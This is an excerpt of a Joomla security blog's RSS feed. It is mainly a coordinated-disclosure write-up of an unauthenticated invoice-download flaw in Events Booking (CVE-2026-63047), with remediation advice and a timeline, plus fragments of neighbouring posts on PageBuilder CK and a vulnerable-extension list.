&lt;li&gt;&lt;strong&gt;2026-07-22&lt;/strong&gt; CVE-2026-63048 is published at CVSS 4.0 9.4, crediting Phil Taylor Classified CWE-434. Read the version numbers carefully: the title says &quot;&amp;lt; 3.6.2&quot; while the affected range runs to 3.6.2 inclusive, and the range is the accurate half. The vendor released 3.6.3 with the file-type allow-list restored, which we confirmed on a clean test install.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-13&lt;/strong&gt; 3.6.4 fixes a styles SQL injection we reported The changelog line mentions a security issue in the styles models.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-17&lt;/strong&gt; 3.6.5 restores the cast that 3.6.4 had discarded The 3.6.4 fix threw away its own intval result, so the injection came through it. We told the vendor the next morning and 3.6.5 shipped with the one missing character. We read the released build to confirm the values are converted before they reach the query.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-17&lt;/strong&gt; CVE-2026-74254 is published at CVSS 4.0 9.3 Classified CWE-89, affected range 1.0.0 to 3.6.4, and the record describes the two-stage fix in one line: version 3.6.4 fixed the vector in the frontend, 3.6.5 in the backend. The CNA scored it PR:N, no privileges required, a wider reach than the authenticated path we proved and reported.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;The original PageBuilder CK unauthenticated upload RCE (CVE-2026-56290)&lt;/a&gt; - the June flaw this one grew out of.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63048&quot;&gt;CVE-2026-63048&lt;/a&gt; - the official record for the authenticated upload described here (CVSS 9.4, CWE-434).&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74254/&quot;&gt;CVE-2026-74254&lt;/a&gt; - our record page for the styles SQL injection fixed in 3.6.5 (CVSS 9.3, CWE-89).&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoints are a big CMS security blind spot&lt;/a&gt; - the wider pattern of endpoints that check a token but not permission.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;A month of Joomla security disclosures&lt;/a&gt; - the full run of extension flaws in one place.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlack.fr/en/joomla-extensions/page-builder-ck&quot;&gt;PageBuilder CK by Cedric Keiflin&lt;/a&gt; - the vendor product page.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.github.io/www-community/vulnerabilities/Unrestricted_File_Upload&quot;&gt;OWASP: Unrestricted File Upload&lt;/a&gt; - the vulnerability class, and how to prevent it properly.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Security_Checklist&quot;&gt;Joomla security best practices&lt;/a&gt; - including blocking PHP execution in writable folders.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/cotton-cloud-incomplete-security-fix/&quot;&gt;Cotton Cloud patched the login, then the data&lt;/a&gt; - the same half-fix in a Joomla file storage extension, where the ownership check that was added went into a method nothing calls.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>pagebuilder-ck</category><category>rce</category><category>file-upload</category><enclosure url="https://mysites.guru/img/og/blog/pagebuilderck-file-upload-rce-incomplete-fix.png" length="0" type="image/png"/></item><item><title>Events Booking for Joomla exposes personal and financial data from invoices</title><link>https://mysites.guru/blog/events-booking-invoice-idor/</link><guid isPermaLink="true">https://mysites.guru/blog/events-booking-invoice-idor/</guid><description>An unauthenticated flaw in Events Booking for Joomla let anyone download any registrant&apos;s invoice, with their name, address, email and payment. Fixed in 5.8.2.</description><pubDate>Tue, 21 Jul 2026 19:36:45 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://joomdonation.com/joomla-extensions/events-booking-joomla-events-registration.html&quot;&gt;Events Booking&lt;/a&gt; is one of the most widely used event registration and ticketing components for Joomla. It runs conference sign-ups, class bookings and ticket sales, so the records it holds belong to real attendees who gave their details, and often their money, to book something. During security research on the extensions our customers rely on, &lt;strong&gt;mySites.guru found an unauthenticated flaw in Events Booking that let anyone download any registrant’s invoice&lt;/strong&gt;, reported it privately to JoomDonation, and it is now fixed in &lt;strong&gt;Events Booking 5.8.2&lt;/strong&gt;. It is the third issue we have found and reported in this one component this month.&lt;/p&gt;
&lt;p&gt;This one came straight on the heels of the last round. We had only just finished reporting the &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;anonymous file upload and user-enumeration flaws&lt;/a&gt;. We got the 5.8.1 source the way we get a lot of things: a mySites.guru subscriber sent it over. Reading that code is exactly how this invoice flaw surfaced, which is worth sitting with for a moment. The release we could not get passed to us to check turned out to contain a fresh unauthenticated hole of its own.&lt;/p&gt;
&lt;p&gt;An invoice is not a small thing to leak. It has the attendee’s full name, their organisation, their postal address, their email address and the amount they paid. The front-end page that generates that invoice as a PDF decided what to hand over from the registration ID number in the web address, and it never properly checked that the person asking was entitled to it. So a stranger with no account could pull up any registration’s invoice by changing the ID number, then count up through the numbers to collect the lot.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;mySites.guru discovered this issue and reported it privately to JoomDonation, who fixed it in Events Booking 5.8.2. As with every flaw we find, we withheld the exact request and any proof-of-concept and waited for a fix before publishing. Update to 5.8.2. It is tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-63047/&quot;&gt;CVE-2026-63047&lt;/a&gt;, assigned via the Joomla CNA. This is how we handle every vulnerability we find: report first, publish second, and never ship a recipe.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Anyone could download any registrant’s invoice.&lt;/strong&gt; The front-end invoice download gave out a registration’s invoice PDF based on the ID number in the web address, without properly checking that the requester owned it. No login, no account, no special access&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Each invoice is a full billing identity.&lt;/strong&gt; Name, organisation, postal address, email address and payment amount, for every registration that had an invoice&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Count up through the IDs and you had the lot.&lt;/strong&gt; There was nothing to stop a short script walking the ID range and collecting every invoice on the site&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A separate, third issue.&lt;/strong&gt; This is distinct from the anonymous upload and user-enumeration flaws we reported earlier this month, which were fixed in 5.8.0 and 5.8.1. &lt;strong&gt;This one is fixed in 5.8.2&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If you already updated for the earlier flaws, update again.&lt;/strong&gt; Those releases did not touch the invoice flaw, so a site on 5.8.1 is still exposed until it reaches 5.8.2&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If you cannot update immediately, turn off invoicing&lt;/strong&gt; as an interim measure. A firewall has nothing to block here, because there is no malformed payload, just an ordinary request for a document&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;This was potentially a reportable data breach&lt;/strong&gt; for any site that ran invoicing on an affected version. Invoices are personal data under the UK and EU GDPR, and the exposure is silent&lt;/li&gt;
&lt;li&gt;Found by reviewing the 5.8.1 source, which reached us from a subscriber rather than the vendor. Reported privately on 20 July 2026, &lt;strong&gt;fixed in 5.8.2&lt;/strong&gt;, assigned &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-63047/&quot;&gt;CVE-2026-63047&lt;/a&gt;&lt;/strong&gt; via the Joomla CNA. No proof-of-concept released&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What the flaw was&lt;/h2&gt;
&lt;p&gt;Events Booking can issue a PDF invoice for a registration. When the invoice feature is switched on, a registrant who has paid gets an invoice, and there is a front-end page that serves it back as a download.&lt;/p&gt;
&lt;p&gt;That page was where the problem sat. It worked out which invoice to return from the numeric registration ID passed in the request, loaded that registration, and generated the PDF. The access check that was supposed to guard it was an authorisation failure: it confirmed that a download code was supplied, but not that the code actually belonged to the registration being requested. A code is meant to be the per-registration secret that proves you own the booking. Here, any value in that slot satisfied the check, while the invoice itself was chosen by the ID number. The two were never compared.&lt;/p&gt;
&lt;p&gt;The result was a classic &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html&quot;&gt;insecure direct object reference&lt;/a&gt;. The server gave the document to whoever asked, based on a number the caller controlled, and the number was sequential. There was no login check, no CSRF token and, critically, no ownership check. The component’s own pages only ever request the invoice for a booking the visitor actually made, so in normal use it looked harmless. The server never enforced what the browser assumed.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;p&gt;The whole flaw in one line&lt;/p&gt;&lt;p&gt;The invoice download checked that a code was supplied, not that it belonged to the invoice, so the document was given to anyone who asked for it by ID number.&lt;/p&gt;&lt;p&gt;We are withholding the exact request and any working proof-of-concept even though it is fixed. This section is enough to understand the risk and act on it, and not enough to be a recipe against sites that have not updated yet.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We proved it against a clean install of Events Booking 5.8.1 to be sure it was real and not a quirk of one configuration. To keep the lab honest we created a single test registration, retrieved its invoice as an anonymous visitor, confirmed the personal and payment details were all present, and removed the test data afterwards. We did not touch any live site, and there is no site of yours involved in this research.&lt;/p&gt;
&lt;p&gt;For contrast, the sibling invoice-style downloads in the same component, the certificate and the ticket, were not affected. They work out the registration from the code itself rather than trusting a separate ID number, so a wrong code simply resolves to no record. The invoice download was the one place where the ID chose the document and the code was only checked for being present. One inconsistent check is all it takes.&lt;/p&gt;
&lt;h2&gt;Update to 5.8.2&lt;/h2&gt;
&lt;p&gt;Earlier in July we reported two other unauthenticated flaws in Events Booking, an &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;anonymous file upload that was on by default and a leak of every user’s name and email&lt;/a&gt;. Those were fixed across 5.8.0 and 5.8.1. This invoice flaw is separate, and it is fixed in 5.8.2. If you updated to 5.8.1 for the earlier flaws and assumed Events Booking was sorted, this one was still open on your site until 5.8.2, so update again.&lt;/p&gt;
&lt;p&gt;There is one wrinkle worth knowing if you go looking at the files. The 5.8.1 you have is not necessarily the 5.8.1 someone else has. Somewhere between our private report on 20 July and the official 5.8.2 release, JoomDonation backported the same fix into the 5.8.1 package without changing its version number. So for a period the 5.8.1 on the download server was the insecure build we proved the flaw against, and after that the 5.8.1 on the download server had the fix, both under the one version string. A site reading “5.8.1” in its admin cannot tell you which of the two it installed. Updating to 5.8.2 is what removes the doubt: it is the release where the fix and the version number line up.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;p&gt;Do this now&lt;/p&gt;&lt;p&gt;Update Events Booking to 5.8.2 on every site, including any you already took to 5.8.1.&lt;/p&gt;&lt;p&gt;Run the update through System, Update, Extensions in each site’s Joomla admin, and confirm the version under Components, Events Booking afterwards. If you cannot update straight away, turn off the invoice feature in the Events Booking configuration as an interim measure and switch it back on once you are on 5.8.2.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;A firewall or .htaccess would not have stopped your invoices being exposed!&lt;/h2&gt;
&lt;p&gt;A word on firewalls, because it is the first question we get. A web application firewall is worth having, but it would not have saved you here. There was no SQL, no script tag, no malformed payload for it to catch. The attacker was asking for a document the site is designed to serve, at a URL that looked completely ordinary, and simply changing one number. Rules that block injection attempts have nothing to match on. The update is the fix, not the firewall.&lt;/p&gt;
&lt;p&gt;An .htaccess file is the other thing people reach for, and it deserves its own mention because so many site owners treat one as a security blanket. It can deny access to a folder or block a file type, which helps against some attacks, but it had nothing to work with here. The invoice download was an ordinary, permitted request to an ordinary, permitted URL, so there was no forbidden path to deny and no extension to filter. We have written before about &lt;a href=&quot;https://mysites.guru/blog/your-htaccess-wont-stop-a-joomla-hack/&quot;&gt;why your .htaccess will not stop a Joomla hack&lt;/a&gt;, and this is a clean example. The invoice feature was working exactly as built, just answering the wrong person, and a directory rule cannot see that.&lt;/p&gt;
&lt;h2&gt;Knowing which of your sites need it&lt;/h2&gt;
&lt;p&gt;The awkward part of a security release is that “we updated Events Booking” is not the same as “every site is on 5.8.2”. You need to know which sites run Events Booking, which ones are still below 5.8.2, and get to each of them.&lt;/p&gt;
&lt;p&gt;That is the job &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; does. It keeps a live inventory of every extension and version on every Joomla and WordPress site in your account, so you can search for Events Booking once and see every site running it, and the version each is on, in seconds, without opening a single admin panel. We have added this issue to our Joomla vulnerability database, so every connected site below 5.8.2 is flagged automatically, and the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; rolls the update out from one screen. You should not have to read about a Joomla security issue and then audit a portfolio of client sites by hand to find out whether it is your problem, still less do it three times for the same extension in one month.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;&lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;Booking components leak your customers as well as your site&lt;/h2&gt;
&lt;p&gt;We keep finding this class of bug in the extensions built to talk to strangers, and it is worth being explicit about why booking and registration components have a heavier consequence than most.&lt;/p&gt;
&lt;p&gt;A page builder flaw leaks your site. A booking component flaw leaks your customers. The whole purpose of the extension is to collect personal details from the public, and take their money, and store both. So the data at risk was never yours in the first place, it was entrusted to you. The same logic runs through the newsletter tools, form builders and document managers where we keep finding the same pattern this month: &lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;AcyMailing&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/edocman-sql-injection-disclosure/&quot;&gt;EDocman&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;DPCalendar&lt;/a&gt;. They are all built to talk to strangers, so a missing check in one of them talks to strangers too. The recurring shape is an &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX or front-end endpoint that trusts the browser&lt;/a&gt; instead of re-checking on the server.&lt;/p&gt;
&lt;p&gt;None of that is an argument for avoiding Events Booking. It is a capable, long-established component, and much of the code we have reviewed is in better shape than most of what we audit, with the payment verification in particular done properly. Capable software still ships ordinary bugs, and an authorisation check that confirms the wrong thing is about as ordinary as they come. The point is not that the extension is bad. It is that the invoices it holds are your legal responsibility, and one inconsistent check gave them out until 5.8.2 closed it.&lt;/p&gt;
&lt;h2&gt;What to do right now&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Update Events Booking to 5.8.2&lt;/strong&gt; or later on every affected site. This is the fix, and it is the one action that actually closes the invoice flaw&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update even if you already went to 5.8.1.&lt;/strong&gt; That earlier release fixed the &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;anonymous upload and user-enumeration flaws&lt;/a&gt; and not this one, so 5.8.1 is not far enough&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If you cannot update immediately&lt;/strong&gt;, turn off the invoice feature in the Events Booking configuration as an interim measure, and switch it back on once you are on 5.8.2&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Do not rely on a firewall for this one.&lt;/strong&gt; There was no payload to filter, so there was nothing for it to block&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Treat past invoices as potentially read.&lt;/strong&gt; If a site ran the invoice feature on a public event while on an affected version, assume the invoices could have been collected, and talk to whoever owns data protection where you work&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If you manage multiple sites&lt;/strong&gt;, let mySites.guru show you which ones are still below 5.8.2 rather than checking by hand&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Disclosure and Severity&lt;/h2&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;8.7&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;mySites.guru assessment; the Joomla CNA published no score of its own · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-63047/&quot;&gt;CVE-2026-63047&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Unauthenticated and exploitable over the internet in a single request with no user interaction. It exposed the full billing details of every invoiced registrant, which is a serious loss of confidentiality, but it was a read-only disclosure with no write or availability impact, which is what keeps it out of the critical range.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Exploitable over the internet&lt;/span&gt;&lt;span&gt;Fixed in 5.8.2&lt;/span&gt;&lt;span&gt;Personal and financial data&lt;/span&gt;&lt;span&gt;No firewall mitigation&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:N&lt;/dt&gt;&lt;dd&gt;None: The site stays up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Our assessment is &lt;strong&gt;CVSS 4.0 8.7 (High)&lt;/strong&gt;, vector &lt;a href=&quot;https://www.first.org/cvss/calculator/4-0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&quot;&gt;&lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/a&gt;. Reachable over the network (&lt;code&gt;AV:N&lt;/code&gt;) with no added complexity or attack requirements (&lt;code&gt;AC:L&lt;/code&gt;, &lt;code&gt;AT:N&lt;/code&gt;), needing no privileges (&lt;code&gt;PR:N&lt;/code&gt;) and no user interaction (&lt;code&gt;UI:N&lt;/code&gt;). It causes a high loss of confidentiality on the vulnerable system (&lt;code&gt;VC:H&lt;/code&gt;), the full billing details of every invoiced registrant, with no integrity or availability impact (&lt;code&gt;VI:N&lt;/code&gt;, &lt;code&gt;VA:N&lt;/code&gt;) and no impact on a downstream system (&lt;code&gt;SC:N&lt;/code&gt;, &lt;code&gt;SI:N&lt;/code&gt;, &lt;code&gt;SA:N&lt;/code&gt;). The read-only nature is what holds it below the critical range. The Joomla CNA published &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63047&quot;&gt;CVE-2026-63047&lt;/a&gt; for the flaw on 22 July 2026 without a score of its own, so this assessment stands.&lt;/p&gt;













































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63047&quot;&gt;CVE-2026-63047&lt;/a&gt;, assigned via the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt; on 22 July 2026, crediting Phil Taylor of mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Component&lt;/td&gt;&lt;td&gt;Events Booking for Joomla (&lt;code&gt;com_eventbooking&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;JoomDonation / Ossolution (&lt;a href=&quot;https://joomdonation.com/&quot;&gt;joomdonation.com&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Authorisation bypass through a user-controlled key (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/639.html&quot;&gt;CWE-639&lt;/a&gt;), an &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html&quot;&gt;insecure direct object reference&lt;/a&gt;; the CVE record files it under the parent class &lt;a href=&quot;https://cwe.mitre.org/data/definitions/284.html&quot;&gt;CWE-284&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;8.7 (High), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt; (our own assessment)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Impact&lt;/td&gt;&lt;td&gt;Anonymous read of any registrant’s invoice, including full name, organisation, postal address, email address and payment amount&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;Every release up to and including 5.8.1 with the invoice feature in use&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;5.8.2&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;We follow a report-first, publish-second process: private disclosure to the vendor, a window for a patch, then a public write-up without a proof-of-concept.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;#timeline&quot;&gt;full timeline is at the foot of this post&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-20&lt;/strong&gt; A subscriber sends the source, and we find a third flaw in it Reviewing the Events Booking 5.8.1 source turns up an authorisation flaw in the invoice download, separate from the anonymous upload and user-enumeration issues we had already reported. It is proven on a clean install with test data only, with no live site involved.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-20&lt;/strong&gt; We report it privately and JoomDonation confirms it the same day All public detail withheld. Somewhere between this report and the official 5.8.2, JoomDonation also backported the fix into the 5.8.1 package without changing its version number, so for a period two different builds shipped as 5.8.1.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-21&lt;/strong&gt; JoomDonation ships Events Booking 5.8.2 The missing ownership check is added to the invoice download. We confirm a wrong code now resolves to no invoice, apply for a CVE through the Joomla CNA, and publish this write-up with no proof of concept. 5.8.2 is the release where the fix and the version number line up.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-22&lt;/strong&gt; The Joomla CNA publishes CVE-2026-63047 Classified CWE-639, an authorisation bypass through a user-controlled key, crediting Phil Taylor of mySites.guru. Our assessment is CVSS 4.0 8.7 High, held below critical because the flaw is a read.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;The Events Booking upload and enumeration flaws fixed in 5.8.1&lt;/a&gt; - the two issues that earlier release did close, and the disclosure story behind them.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;A month of Joomla extension vulnerabilities we found and disclosed&lt;/a&gt; - the full run this is part of.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the recurring public-endpoint pattern behind findings like this.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/639.html&quot;&gt;CWE-639: Authorization Bypass Through User-Controlled Key&lt;/a&gt; and the &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html&quot;&gt;OWASP IDOR Prevention Cheat Sheet&lt;/a&gt; - the official references for this weakness class.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html&quot;&gt;OWASP Vulnerability Disclosure Cheat Sheet&lt;/a&gt; and the &lt;a href=&quot;https://vuls.cert.org/confluence/display/CVD&quot;&gt;CERT Guide to Coordinated Vulnerability Disclosure&lt;/a&gt; - the practice behind the report-first process above.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomdonation.com/joomla-extensions/events-booking-joomla-events-registration.html&quot;&gt;Events Booking product page&lt;/a&gt; - the vendor&apos;s official page, where 5.8.2 is available to download.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/cotton-cloud-incomplete-security-fix/&quot;&gt;Cotton Cloud patched the login, then the data&lt;/a&gt; - the same missing ownership predicate, this time on every file in a Joomla cloud drive extension.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>events booking</category><category>vulnerability</category><category>responsible disclosure</category><category>gdpr</category><enclosure url="https://mysites.guru/img/og/blog/events-booking-invoice-idor.png" length="0" type="image/png"/></item><item><title>One VEL for Every Joomla and WordPress Site</title><link>https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/</link><guid isPermaLink="true">https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/</guid><description>The Joomla VEL (Vulnerable Extension List) only covers Joomla and never checks your sites. mySites.guru tracks both CMSes and flags yours directly.</description><pubDate>Tue, 21 Jul 2026 15:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you run Joomla sites, you might have heard of the &lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/vulnerable/&quot;&gt;Joomla VEL (Vulnerable Extension List)&lt;/a&gt;. It is the community-run (well, restricted, not-open, keys held by “mandville” who seems to appear and disappear as fast as buses around Brighton) list of third-party Joomla extensions with known, reported vulnerabilities. If you also run WordPress sites, you know it stops at the Joomla border. For that half of your sites you absolutely must be subscribed to &lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities&quot;&gt;Wordfence&lt;/a&gt; or &lt;a href=&quot;https://patchstack.com/database/&quot;&gt;Patchstack&lt;/a&gt; for alerts on WordPress plugin security announcements, an entirely separate set of feeds with no connection to the 